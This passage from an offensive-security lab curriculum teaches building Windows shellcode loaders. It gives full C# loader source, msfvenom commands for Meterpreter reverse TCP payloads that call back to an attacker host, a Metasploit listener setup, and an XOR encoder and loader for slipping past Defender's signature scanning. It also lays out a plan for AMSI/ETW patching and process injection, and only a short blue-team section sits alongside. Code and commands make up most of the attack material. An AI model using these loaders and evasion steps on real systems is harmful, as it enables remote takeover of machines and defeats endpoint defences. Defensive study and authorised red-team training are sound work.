```

If CreateThread returns zero, thread creation failed. Otherwise, the shellcode is now running.

6.7.9 Step 4: Wait Forever

```
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
```

0xFFFFFFFF means “wait indefinitely.” The Main function pauses here and does not exit until the shellcode thread finishes. If the shellcode is a Meterpreter reverse shell, the thread keeps running as long as the connection is active. When you close the Meterpreter session, the thread ends, WaitForSingleObject returns, and the program exits.

6.7.10 The Complete Program

This is the full code from lab/loaders/01_shellcode_loader.cs:

```
using System;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateThread(
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds
        );
    }
}
```

```

const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;

static void Main(string[] args)
{
    if (args.Length < 1)
    {
        Console.WriteLine("Usage: loader01.exe <path_to_shellcode.bin>");
        Console.WriteLine("");
        Console.WriteLine("Generate shellcode on Kali:");
        Console.WriteLine("  msfvenom -p windows/x64/meterpreter/reverse_tcp
↳ LHOST=<IP> LPORT=<PORT> -f raw -o payload.bin");
        return;
    }

    string shellcodePath = args[0];

    byte[] shellcode;
    try
    {
        shellcode = System.IO.File.ReadAllBytes(shellcodePath);
    }
    catch (Exception ex)
    {
        Console.WriteLine("Could not read shellcode file: " + ex.Message);
        return;
    }

    Console.WriteLine("[*] Shellcode size: " + shellcode.Length + " bytes");

    IntPtr memoryAddress = VirtualAlloc(
        IntPtr.Zero,
        (uint)shellcode.Length,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (memoryAddress == IntPtr.Zero)
    {
        Console.WriteLine("[-] Memory allocation failed.");
        return;
    }

    Console.WriteLine("[+] Memory allocated at: 0x" +
↳ memoryAddress.ToString("X"));

    Marshal.Copy(shellcode, 0, memoryAddress, shellcode.Length);
    Console.WriteLine("[+] Shellcode copied to memory.");

    IntPtr threadHandle = CreateThread(
        IntPtr.Zero,
        0,
        memoryAddress,
        IntPtr.Zero,
        0,
        IntPtr.Zero
    );

```

```
    );  
  
    if (threadHandle == IntPtr.Zero)  
    {  
        Console.WriteLine("[+] Thread creation failed.");  
        return;  
    }  
  
    Console.WriteLine("[+] Thread created. Shellcode is running.");  
  
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);  
}  
}  
}
```

6.8 Compilation and Execution

6.8.1 Step 1: Generate Shellcode on Kali

Open a terminal on your Kali machine (192.168.10.200):

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.200 LPORT=4444 -f raw  
↪ -o payload.bin
```

This generates a Meterpreter reverse TCP payload:

- `-p windows/x64/meterpreter/reverse_tcp`: the payload type. It creates a 64-bit Windows Meterpreter session that connects back to you.
- `LHOST=192.168.10.200`: your Kali IP. The shellcode will connect back to this address.
- `LPORT=4444`: the port to connect back on. You will listen on this port.
- `-f raw`: output format. Raw means plain bytes, no encoding, no wrapper.
- `-o payload.bin`: save to this file.

The output is a .bin file containing the shellcode bytes. The file is usually around 510 bytes.

6.8.2 Step 2: Start a Listener on Kali

```
msfconsole -q  
use exploit/multi/handler  
set payload windows/x64/meterpreter/reverse_tcp  
set LHOST 192.168.10.200  
set LPORT 4444  
run
```

This starts Metasploit's handler, which waits for the shellcode to connect back. The handler must be running BEFORE you execute the loader on the target.

6.8.3 Step 3: Transfer Shellcode to the Dev Box

On Kali, start a simple HTTP server in the directory where payload.bin was generated:

```
cd /path/to/payload.bin
python3 -m http.server 8080
```

On the dev box (ammulu, 192.168.10.150), open PowerShell and download the shellcode:

```
Invoke-WebRequest -Uri http://192.168.10.200:8080/payload.bin -OutFile
↪ C:\Users\ammulu\Desktop\payload.bin
```

6.8.4 Step 4: Compile the Loader on the Dev Box

On the dev box (ammulu), open Command Prompt and create a new project:

```
cd C:\Users\ammulu\Desktop
dotnet new console -n Loader01
```

Replace the contents of `Loader01\Program.cs` with the code from `01_shellcode_loader.cs`. Then publish as a single .exe file:

```
dotnet publish Loader01 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output
```

The compiled binary is at `output\Loader01.exe`. The publish command bundles everything into one file. If you used `dotnet build` instead, you would get a stub .exe alongside a separate .dll file, and the .exe will fail on the target machine if you transfer only the .exe without the companion .dll.

6.8.5 Step 5: Transfer Loader and Shellcode to the Target

On the dev box (ammulu), start a Python HTTP server to host both files:

```
cd C:\Users\ammulu\Desktop
python -m http.server 8080
```

On the target (kimjongun, 192.168.10.100), open PowerShell and download both files:

```
Invoke-WebRequest -Uri http://192.168.10.150:8080/loader01.exe -OutFile
↪ C:\Users\kimjongun\Desktop\loader01.exe
Invoke-WebRequest -Uri http://192.168.10.150:8080/payload.bin -OutFile
↪ C:\Users\kimjongun\Desktop\payload.bin
```

Defender will likely quarantine payload.bin on the target. The raw msfvenom bytes match known signatures. If Defender catches it:

- This is expected. It confirms that Defender's static scanner recognizes raw msfvenom output.
- To proceed with this exercise, you would need to temporarily add a folder exclusion in Defender settings. But the curriculum teaches you to bypass detection without exclusions starting in Document 06.
- For now, understanding that Defender catches raw shellcode is the lesson.

6.8.6 Step 6: Run the Loader on the Target

On the target (kimjongun, 192.168.10.100):

```
cd C:\Users\kimjongun\Desktop
loader01.exe payload.bin
```

What will actually happen: Defender will block this. You will see one of these outcomes:

Outcome 1: Defender quarantines payload.bin on download.

Before you even run the loader, Defender scans payload.bin when it is written to disk. The raw msfvenom bytes match known signatures. Defender deletes or quarantines the file. You see a Windows Security notification saying a threat was found.

Outcome 2: Defender blocks the loader at runtime.

If payload.bin somehow survives, Defender's behavioral engine watches the loader allocate memory with execute permissions and create a thread pointing to it. Defender terminates the process.

What you do when Defender blocks it:

1. Open **Windows Security** on the target (search for it in Start menu)
2. Click **Protection History**
3. Read the detection entry. It tells you:
 - The threat name (something like Trojan:Win64/Meterpreter or Behavior:Win32/ShellcodeRunner)
 - What was blocked (the file or the process)
 - Which action Defender took (quarantine, block, remove)

This is the lesson. Write down what Defender flagged. When you reach Document 07 and your loader successfully bypasses Defender, you will know exactly which detection layer each technique defeated.

If you want to see what a successful callback looks like (for reference only), this is the output you would see IF the loader was not blocked:

```
[*] Shellcode size: 510 bytes
[+] Memory allocated at: 0x1A0000
[+] Shellcode copied to memory.
[+] Thread created. Shellcode is running.
```

And on Kali:

```
[*] Meterpreter session 1 opened (192.168.10.200:4444 -> 192.168.10.100:49752)
meterpreter > sysinfo
Computer      : DESKTOP-WIN11
OS            : Windows 11 (10.0 Build 22631)
Architecture : x64
```

You will see this for real starting around Documents 07-08 when you combine XOR encryption + direct syscalls + ETW/AMSI patching.

6.9 Confirming Success

Success for this document means Defender caught the loader and you understand why. Verify:

- ☐ You attempted to run the loader and Defender blocked it
- ☐ You checked Protection History and read what Defender flagged
- ☐ You understand that raw msfvenom shellcode bytes match Defender's signature database
- ☐ You understand that the VirtualAlloc + CreateThread import pattern is a known injection signal

- ☐ You understand that Document 06 (XOR encryption) hides the shellcode bytes from signature matching
- ☐ You understand that Document 07 (direct syscalls) hides the API calls from Defender's hooks
- ☐ You set up a Metasploit listener on Kali (you will reuse this in every later document)

6.10 What Was Gained

You now understand:

- How to generate shellcode with msfvenom on Kali
- The VirtualAlloc -> Marshal.Copy -> CreateThread execution pattern that every loader uses
- How to set up a Metasploit listener on Kali (you reuse this in every document from here)
- Exactly what Defender detected and why this baseline loader gets caught

You have NOT bypassed Defender yet. That starts in the next documents:

- Document 06: XOR-encrypt the shellcode so Defender cannot match signatures on disk
- Document 07: use direct syscalls so Defender's hooks cannot see the API calls
- Document 08: patch AMSI and ETW so Defender loses visibility into your process
- Document 09: inject into a trusted process so your code hides inside explorer.exe
- Document 10: combine all techniques, and this is where you get a fully stealthy callback with Defender running at full default settings

6.11 Common Threats and Variations

6.11.1 Variation 1: Embedding Shellcode in the Binary

Instead of reading shellcode from a .bin file, you can embed it directly in the C# code as a byte array:

```
byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, 0xe4, ... };
```

The downside is that the msfvenom bytes sit directly in the compiled .exe file. Defender's static scanner immediately matches them. The file-based approach at least separates the loader from the shellcode, but neither approach survives static scanning without encryption.

6.11.2 Variation 2: Using PAGE_READWRITE + VirtualProtect

Instead of using PAGE_EXECUTE_READWRITE (0x40) for everything, use the two-step approach:

```
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x04);
Marshal.Copy(shellcode, 0, mem, shellcode.Length);

uint oldProtect;
VirtualProtect(mem, (uint)shellcode.Length, 0x20, out oldProtect);

IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
```

This avoids the RWX flag that Defender watches. The pages are never writable and executable at the same time. Every loader from Document 06 onward uses this approach.

6.11.3 Variation 3: Using a Different Payload

Msfvenom supports many payload types beyond Meterpreter:

- `windows/x64/shell_reverse_tcp`: a plain command shell (smaller, simpler, fewer features)
- `windows/x64/exec`: runs a single command (like opening calculator for testing)
- Custom shellcode from tools like Cobalt Strike or Sliver

The loader code stays identical. Only the shellcode bytes change.

6.12 Detection and Defense (Blue Team Perspective)

Block raw shellcode files on disk. Defender's real-time scanning catches known msfvenom signatures. Keep signature updates current. Do not create folder exclusions in production environments.

Blue team action: audit Defender exclusion lists regularly. Any exclusion is a hole in your defense.

Monitor VirtualAlloc + CreateThread patterns. EDR products should log and alert when a process allocates memory with execute permissions and immediately creates a thread pointing to that memory. This is the textbook injection pattern.

Blue team action: configure your EDR to alert on RWX memory allocations (`PAGE_EXECUTE_READWRITE`, `0x40`) from non-system processes.

Watch for Meterpreter network signatures. The Meterpreter staging protocol has known network signatures. Even if the loader bypasses disk scanning, the network connection can be detected.

Blue team action: deploy network IDS/IPS rules for Meterpreter staging traffic.

Monitor outbound connections from unusual processes. If a process that normally does not make network connections suddenly connects to an external IP on an unusual port, that is suspicious.

Blue team action: baseline normal process network behavior and alert on anomalies.

6.13 What Comes Next

Document 06 (`lab/materials/06_encoding_evasion.md`) solves the biggest problem with this loader: the shellcode bytes match Defender's signature database. You will XOR-encrypt the shellcode so the bytes on disk look like random data. Defender's scanner cannot match what it cannot recognize. At runtime, the loader decrypts the shellcode in memory and executes it. The decrypted bytes never touch the hard drive.

Document 06: Encoding Evasion - XOR Encryption

7.1 Where We Are

You finished Document 05. You built Loader 01 (the basic shellcode loader), ran it on the target (kimjongun, 192.168.10.100), and Defender caught it. You saw the detection in Windows Security Protection History. You know exactly what Defender flagged:

- The raw shellcode .bin file matched known msfvenom byte signatures on disk
- The VirtualAlloc + CreateThread API pattern is a known injection sequence
- The PAGE_EXECUTE_READWRITE (0x40) flag is suspicious because normal programs do not need memory that is writable and executable at the same time

You can write C# programs, call Windows API functions with DllImport, allocate memory, copy bytes, create threads, and read the results in Protection History.

Your lab has three machines: dev box (ammulu, 192.168.10.150) for compiling (Defender disabled), target (kimjongun, 192.168.10.100) with Defender at full defaults, and Kali (192.168.10.200) for shellcode and listeners.

7.2 Why This Is Next

In Document 05, Defender caught your shellcode before it could execute. One of the first things Defender does is scan files on disk. When you transferred the raw shellcode .bin file to the target, Defender scanned it and matched the bytes against its signature database. The match was instant because msfvenom shellcode contains well-known byte patterns that every antivirus product recognizes.

This document solves one of those problems. You will XOR-encrypt the shellcode so the .bin file on disk looks like random data. Defender's static signature scanner cannot match bytes that have been scrambled.

This does NOT get you a callback. The encrypted file survives disk scanning, which is progress, but the loader binary itself still gets caught. It still uses DllImport for VirtualAlloc and CreateThread (which puts those function names in the binary's import table where Defender can read them) and still allocates PAGE_EXECUTE_READWRITE memory. Defender's behavioral detection layer catches the loader just like it caught Loader 01.

Why build it then? Because you need to understand each evasion layer one at a time. XOR encryption solves the "shellcode file on disk" problem. Direct syscalls (Document 07) solve the

“API hooks” problem. AMSI patching (Document 08) solves the “.NET runtime scanning” problem. Each document removes one detection layer. When you combine them all in Document 10, every layer is handled and you get your first fully stealthy callback.

Think of it as fixing one thing at a time instead of trying to fix everything at once.

7.3 How This Works

7.3.1 What XOR Does to Data

XOR is a binary operation. You take two values, compare them bit by bit, and produce a result. The rule is:

- If the two bits are the same (both 0 or both 1), the result is 0
- If the two bits are different (one is 0 and the other is 1), the result is 1

Here is XOR applied to two bytes:

```
Data byte: 01001101 (decimal 77, the letter 'M')
Key byte:  10110010 (decimal 178)
XOR result: 11111111 (decimal 255)
```

The important property of XOR: **it is reversible**. If you XOR the result with the same key, you get the original data back.

```
Result byte: 11111111 (decimal 255)
Key byte:    10110010 (decimal 178)
XOR result: 01001101 (decimal 77, the letter 'M' again)
```

This means the same function can encrypt and decrypt. XOR with the key once to encrypt. XOR with the key again to decrypt. No separate decrypt algorithm needed.

7.3.2 Why XOR Defeats Static Scanning

Defender’s signature database contains byte sequences from known malware. When Defender scans a file, it reads the bytes and checks if any sequence matches a known signature.

Msfvenom shellcode has specific byte patterns that identify it. For example, the staging code that connects back to your IP, the Meterpreter handshake bytes, and the API hashing routines all contain recognizable sequences.

When you XOR every byte of the shellcode with a key, every byte changes. The result is different from the original.

Byte position	Original shellcode	XOR key byte	Encrypted result
0	0xFC	0x4A	0xB6
1	0x48	0x7F	0x37
2	0x83	0x2B	0xA8
3	0xE4	0x9D	0x79

The encrypted bytes (0xB6, 0x37, 0xA8, 0x79) do not match any signature in Defender’s database because those bytes are not from any known malware. They are the result of a mathematical operation that produces seemingly random output.

7.3.3 Multi-Byte Keys vs Single-Byte Keys

A single-byte key means you XOR every byte with the same value. If your key is 0x4A, then byte 0 is XORed with 0x4A, byte 1 is XORed with 0x4A, byte 2 is XORed with 0x4A, and so on.

The problem: if the shellcode has repeating patterns (and it does, because API hashing loops repeat similar instructions), a single-byte XOR produces repeating patterns in the output. Frequency analysis can detect this and recover the key.

A multi-byte key (like 16 bytes) means byte 0 is XORed with key byte 0, byte 1 with key byte 1, byte 2 with key byte 2, all the way to byte 15 with key byte 15, then byte 16 wraps around and uses key byte 0 again. This is called a repeating key cipher.

With 16 random key bytes, the output looks random enough to defeat both signature matching and basic frequency analysis.

7.3.4 What Defender Still Sees

XOR encryption solves one problem. Here is what it does NOT solve:

The loader binary's import table. When you compile a C# program that uses DllImport for VirtualAlloc and CreateThread, the compiler writes those function names into the binary's PE header. Defender can read those names without running the program. A binary that imports VirtualAlloc + CreateThread from kernel32.dll is suspicious.

The PAGE_EXECUTE_READWRITE allocation. When the loader runs and calls VirtualAlloc with 0x40 (read-write-execute), Defender's runtime monitoring sees that call. Normal programs do not request memory with all three permissions at once.

The thread creation pointing to dynamically allocated memory. When CreateThread receives a start address inside a VirtualAlloc block, that is a textbook shellcode injection pattern.

These are behavioral detections that happen at runtime, not file scanning. XOR encryption only defeats file scanning. The other layers catch the loader anyway.

This is why Loader 02 still gets caught even though the encrypted shellcode file survives disk scanning.

7.4 What Defender Does

Defender runs six detection layers. Here is which ones Loader 02 defeats and which ones still catch it:

Layer	What it does	Does Loader 02 defeat it?
Static file scanning	Scans files on disk for known byte signatures	YES - encrypted .bin file does not match any signatures
Cloud analysis	Sends file hashes and suspicious samples to Microsoft's cloud for analysis	PARTIAL - encrypted file hash is unknown, but loader binary itself may be flagged
AMSI	Scans .NET code at runtime before execution	NO - AMSI can see the decrypted shellcode bytes in managed memory
API hooks in ntdll.dll	Monitors Windows API calls (VirtualAlloc, CreateThread)	NO - the loader calls these APIs normally through DllImport
ETW telemetry	Logs process behavior events	NO - allocation and thread creation events are logged

Layer	What it does	Does Loader 02 defeat it?
Behavioral ML	Machine learning model that scores process behavior	NO - the VirtualAlloc + write + execute pattern matches injection heuristics

The encrypted .bin file is the only thing that survives. The loader binary and its runtime behavior are caught by layers 3 through 6.

7.5 The Evasion Technique

What Loader 02 does differently from Loader 01:

Loader 01 reads raw shellcode bytes from a .bin file. Those bytes are the actual msfvenom payload. Defender scans the file and matches the bytes instantly.

Loader 02 has two parts:

1. An **encoder** that takes the raw shellcode and XOR-encrypts it with a random 16-byte key. The output is an encrypted .bin file that looks like random data.
2. A **loader** that reads the encrypted file, converts the hex key string back to bytes, XOR-decrypts the shellcode in RAM, and executes it.

The encrypted file can sit on disk without being flagged by Defender's file scanner. The decryption happens in RAM. The decrypted shellcode only exists in memory, never on the hard drive.

But the loader binary itself still has the suspicious DllImport entries and still makes the suspicious API calls at runtime, so Defender catches it through behavioral detection.

7.6 Getting the Loader Onto the Target

The three-machine workflow for this loader:

1. **Kali (192.168.10.200)**: Generate raw shellcode with msfvenom, host it on a Python HTTP server.
2. **Dev box (ammulu, 192.168.10.150)**: Download shellcode from Kali. Compile both the encoder and the loader. Run the encoder to XOR-encrypt the shellcode. Host the compiled loader and encrypted shellcode on a Python HTTP server.
3. **Target (kimjongun, 192.168.10.100)**: Download xor_loader.exe and encrypted.bin from the dev box. Run the loader.

You need to transfer two files to the target:

1. **xor_loader.exe** - the compiled loader binary
2. **encrypted.bin** - the XOR-encrypted shellcode file

The encrypted.bin file will survive Defender's real-time file scanning on the target because its bytes do not match any known signatures. The xor_loader.exe binary is a compiled C# program that Defender may or may not flag on disk (it depends on whether the import table pattern matches Defender's heuristic rules).

Transfer method: Compile and encrypt on the dev box, then use a Python HTTP server on the dev box to host both files. Download them on the target.

On the dev box (ammulu), after compiling and encrypting:

```
cd C:\Users\ammulu\Desktop
python -m http.server 8080
```

On the target (kimjongun), PowerShell:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/xor_loader.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\xor_loader.exe"
Invoke-WebRequest -Uri "http://192.168.10.150:8080/encrypted.bin" -OutFile
↪ "C:\Users\kimjongun\Desktop\encrypted.bin"
```

When Defender on the target scans encrypted.bin on write, it finds no matching signatures. The file stays on disk.

When Defender scans xor_loader.exe, it may or may not flag it depending on Defender's current heuristic rules for the import table pattern. If it does flag the binary on disk, you need the evasion techniques from later documents (07, 08) to fix that.

AMSI implications: This loader is a compiled .exe, not a PowerShell script, so AMSI scanning of PowerShell commands is not the main concern here. However, AMSI also hooks into .NET runtime loading, which means AMSI can inspect the managed code at load time. Document 08 covers patching AMSI to prevent this.

ETW telemetry: When the loader runs, ETW logs the VirtualAlloc call, the memory protection change, and the CreateThread call. These events go to Defender's behavioral analysis engine. Document 08 also covers patching ETW to stop this logging.

Reference: [lab/loaders/02_xor_encoder.cs](#)

7.7 Teaching the Code

Loader 02 has two modes: encoder mode and loader mode. Both are in the same file ([lab/loaders/02_xor_encoder.cs](#)). The C# preprocessor directive `#if ENCODER` controls which mode compiles. Let us start with the shared parts.

7.7.1 The DllImport Declarations

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
    uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
    uint dwCreationFlags, IntPtr lpThreadId);
```

These are the same DllImport lines from Loader 01. VirtualAlloc asks Windows for a block of RAM. CreateThread starts a new thread that begins executing at a specific memory address. Both functions come from kernel32.dll.

These DllImport lines are also what gets the loader caught. When the C# compiler sees a DllImport line and compiles it, it writes the function name directly into the .exe file on your hard drive in a section called the import table. You can open the compiled .exe in Notepad right now and you will literally see "VirtualAlloc" and "CreateThread" sitting there as readable text

inside all the garbage characters. Defender opens that .exe file, reads the whole thing from start to end, and when it finds “VirtualAlloc” and “CreateThread” together in the import table, it recognizes that combination as a known shellcode injection pattern in its database.

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
```

WaitForSingleObject tells the main thread to wait until the shellcode thread finishes. Without this, the program exits immediately and kills the shellcode thread before it can do anything.

7.7.2 The Constants

```
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
```

MEM_RESERVE (0x2000) tells Windows to set aside a block of virtual addresses for your program so nothing else can use them. No physical RAM is assigned yet, just the address range is reserved. MEM_COMMIT (0x1000) is where physical RAM actually gets used. Your target VM (kimjongun) has 8 GB of RAM on its motherboard. When you pass MEM_COMMIT, Windows takes a portion of that physical 8 GB and dedicates it to your program. If you commit 4096 bytes, those 4096 bytes of the RAM chip are now yours. When you combine them with MEM_COMMIT | MEM_RESERVE (which gives 0x3000), Windows does both steps at once: reserves the addresses and backs them with real RAM.

PAGE_EXECUTE_READWRITE (0x40) is the permission flag. It tells the CPU what operations are allowed on this memory. With 0x40, the CPU can read data from these pages, your program can write data into them, and the CPU can run the bytes as machine instructions. Normal programs almost never need memory that is both writable and executable at the same time because legitimate code is loaded from a file (execute-only) and data is stored separately (read-write only). When Defender sees a program allocating memory with 0x40, that is a strong signal that the program might be loading code into memory at runtime, which is exactly what a shellcode loader does. Document 05 showed a variation using two-step allocation (allocate as RW with 0x04, write data, then change to RX with 0x20) which avoids this flag, but Loader 02 uses 0x40 for simplicity because its evasion comes from the XOR encryption, not from memory permission tricks.

7.7.3 The XOR Function

This is the core of the evasion technique. The same function encrypts and decrypts.

```
static byte[] XorCrypt(byte[] data, byte[] key)
{
    byte[] result = new byte[data.Length];
```

The function takes two inputs: the data bytes and the key bytes. It creates a new array called `result` that is the same size as the data. It does not modify the original data.

```
for (int i = 0; i < data.Length; i++)
{
    result[i] = (byte)(data[i] ^ key[i % key.Length]);
```

```
    }  
    return result;  
}
```

The loop goes through every byte of data. For each byte, it XORs it with the corresponding key byte. The % operator (modulo) handles the key wrapping: when `i` reaches the key length, `i % key.Length` wraps back to 0. So if the key is 16 bytes, byte 0 uses `key[0]`, byte 15 uses `key[15]`, byte 16 uses `key[0]` again.

The ^ symbol is the XOR operator in C#. `data[i] ^ key[i % key.Length]` XORs one data byte with one key byte and produces one result byte. The `(byte)` cast is needed because C# promotes the result to an integer, and we need to store it back as a byte.

7.7.4 The Key Generator

```
static byte[] GenerateKey(int length)  
{  
    byte[] key = new byte[length];  
    Random rng = new Random();  
    rng.NextBytes(key);  
    return key;  
}
```

This creates a random key of the specified length. `Random` is C#'s built-in random number generator. `NextBytes` fills the entire byte array with random values between 0 and 255. The default key length is 16 bytes (128 bits), which is enough randomness to defeat signature matching and basic frequency analysis.

Each time you run the encoder, it generates a new random key. This means the same shellcode encrypted twice produces different output. Defender cannot build a signature for “XOR-encrypted msfvenom shellcode” because the encrypted bytes are different every time.

7.7.5 The Hex Converter

```
static byte[] HexToBytes(string hex)  
{  
    byte[] bytes = new byte[hex.Length / 2];  
    for (int i = 0; i < bytes.Length; i++)  
    {  
        bytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);  
    }  
    return bytes;  
}
```

When the encoder prints the key, it prints it as a hex string like `4A7F2B9D...`. The loader needs to convert that hex string back into bytes. Each pair of hex characters represents one byte. `Convert.ToByte("4A", 16)` converts the hex string “4A” to the byte value 74 (0x4A). The second argument 16 tells C# the string is in base 16 (hexadecimal).

7.7.6 Encoder Mode

The encoder is the first half of the `Main` function, inside the `#if ENCODER` block.

```
#if ENCODER
    if (args.Length < 2)
    {
        Console.WriteLine("XOR Encoder");
        Console.WriteLine("Usage: xor_encode.exe <input_shellcode.bin>
↪ <output_encrypted.bin> [key_length]");
        return;
    }

    string inputPath = args[0];
    string outputPath = args[1];
```

The encoder takes command-line arguments: the input file (raw shellcode) and the output file (encrypted shellcode). An optional third argument sets the key length (default is 16 bytes).

```
int keyLength = 16;
if (args.Length >= 3)
{
    keyLength = int.Parse(args[2]);
}
```

You can make the key longer (32, 64 bytes) for more randomness, but 16 bytes is already sufficient. No antivirus product does the kind of cryptanalysis needed to break 16-byte XOR in a real-time scan.

```
byte[] rawShellcode = File.ReadAllBytes(inputPath);
Console.WriteLine("[*] Read " + rawShellcode.Length + " bytes of shellcode.");
```

`File.ReadAllBytes` reads every byte from the input file into a byte array. For a standard Meterpreter reverse TCP payload, this is around 500-600 bytes.

```
byte[] key = GenerateKey(keyLength);
string keyHex = BitConverter.ToString(key).Replace("-", "");
Console.WriteLine("[+] XOR Key (" + keyLength + " bytes): " + keyHex);
Console.WriteLine("[!] SAVE THIS KEY. You need it to run the loader.");
```

After generating the random key, it converts the key bytes to a hex string for printing. `BitConverter.ToString` produces output like `4A-7F-2B-9D`, and `.Replace("-", "")` removes the dashes to get `4A7F2B9D`. You need to copy this hex string and pass it to the loader later.

```
byte[] encrypted = XorCrypt(rawShellcode, key);
File.WriteAllBytes(outputPath, encrypted);
```

The encoder calls the `XorCrypt` function to encrypt the shellcode, then writes the encrypted bytes to the output file. This output file is safe to transfer to the target. Defender will open that file on your hard drive, read the whole thing from start to end, and find no matching signatures because every byte has been scrambled by XOR. The original shellcode bytes that Defender knows about are completely gone, replaced with different values that match nothing in its database.

7.7.7 Loader Mode

The loader is the second half of the Main function, inside the `#else` block (runs when you compile without `/define:ENCODER`).

```
#else
    if (args.Length < 2)
    {
        Console.WriteLine("XOR Shellcode Loader");
        Console.WriteLine("Usage: xor_loader.exe <encrypted_shellcode.bin>
↩ <xor_key_hex>");
        return;
    }

    string encryptedPath = args[0];
    string keyHexArg = args[1];
```

The loader takes two arguments: the path to the encrypted shellcode file and the XOR key as a hex string (the same key the encoder printed).

```
byte[] encryptedShellcode = File.ReadAllBytes(encryptedPath);
byte[] xorKey = HexToBytes(keyHexArg);
```

Read the encrypted bytes from the file and convert the hex key string back to bytes.

```
byte[] shellcode = XorCrypt(encryptedShellcode, xorKey);
Console.WriteLine("[+] Shellcode decrypted in memory.");
```

This is where the decryption happens. `XorCrypt` takes the encrypted bytes and the key, XORs them, and produces the original shellcode. The decrypted shellcode now exists only in the computer's RAM, inside the `shellcode` byte array. It was never written to the hard drive in its decrypted form. Defender scans files on your hard drive but cannot scan data that only exists in RAM. The shellcode bypasses the file scanner entirely because the only version that ever touches the hard drive is the scrambled, XOR-encrypted form that matches nothing in Defender's database.

```
IntPtr memoryAddress = VirtualAlloc(
    IntPtr.Zero,
    (uint)shellcode.Length,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);
```

This allocates RAM with read-write-execute permissions (0x40). This is the same call from Loader 01. The 0x40 flag is one of the things that gets this loader caught, because Defender's runtime monitoring watches for RWX allocations.

```
Marshal.Copy(shellcode, 0, memoryAddress, shellcode.Length);
```

Copy the decrypted shellcode bytes from the C# byte array into the allocated RAM block. After this call, the shellcode bytes exist in two places: the `shellcode` byte array and the VirtualAlloc block.

```
Array.Clear(shellcode, 0, shellcode.Length);
```

This zeros out the shellcode byte array. After copying the shellcode into the VirtualAlloc block, the managed byte array is no longer needed. Zeroing it reduces the window where Defender's memory scanner could find the decrypted shellcode in two locations. The shellcode still exists in the VirtualAlloc block where it will be executed.

```
IntPtr threadHandle = CreateThread(
    IntPtr.Zero, 0, memoryAddress, IntPtr.Zero, 0, IntPtr.Zero
);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);
```

Create a thread that starts executing at the VirtualAlloc address (where the shellcode is), then wait for it to finish. `0xFFFFFFFF` means wait forever. This is the same execution pattern as Loader 01.

7.7.8 The Complete Loader File

The complete source code is at `lab/loaders/02_xor_encoder.cs`. It contains both encoder and loader modes in a single file, controlled by the `#if ENCODER` preprocessor directive.

7.8 Compilation and Execution

7.8.1 Step 1: Generate Shellcode on Kali

Open a terminal on Kali (192.168.10.200) and generate a Meterpreter reverse TCP payload:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.200 LPORT=4444 -f raw
↳ -o payload.bin
```

This creates `payload.bin` containing raw shellcode bytes. Replace the IP and port with your Kali machine's values.

7.8.2 Step 2: Compile the Encoder on the Dev Box

On the dev box (ammulu, 192.168.10.150), open Command Prompt and create a new project for the encoder:

```
dotnet new console -n XorEncode
```

Replace the contents of `XorEncode\Program.cs` with the code from `02_xor_encoder.cs`. Then publish with the `ENCODER` constant defined, which tells the compiler to include the `#if ENCODER` block and skip the `#else` block:

```
dotnet publish XorEncode -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true /p:Defi
```

The result is `output_encoder\XorEncode.exe`, which only encrypts shellcode and does not import any suspicious Windows API functions.

7.8.3 Step 3: Compile the Loader on the Dev Box

Create a second project for the loader:

```
dotnet new console -n XorLoader
```

Replace the contents of `XorLoader\Program.cs` with the code from `02_xor_encoder.cs`. Then publish without the `ENCODER` constant so the compiler includes the `#else` block (the loader code) and skips the `#if ENCODER` block:

```
dotnet publish XorLoader -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output_loader
```

The loader binary is at `output_loader\XorLoader.exe`.

7.8.4 Step 4: Encrypt the Shellcode

Transfer `payload.bin` from Kali to the dev box (ammulu). On Kali, host it with `python3 -m http.server 8080`. On the dev box, download it with `Invoke-WebRequest -Uri http://192.168.10.200:8080/payload.bin -OutFile C:\Users\ammulu\Desktop\payload.bin`. Then run the encoder on the dev box:

```
xor_encode.exe payload.bin encrypted.bin
```

Expected output:

```
[*] Read 510 bytes of shellcode.
[+] XOR Key (16 bytes): 4A7F2B9DE3A1C084F56D1B8E97320AF6
[!] SAVE THIS KEY. You need it to run the loader.
[+] Encrypted shellcode written to: encrypted.bin
[+] Original size: 510 bytes
[+] Encrypted size: 510 bytes
```

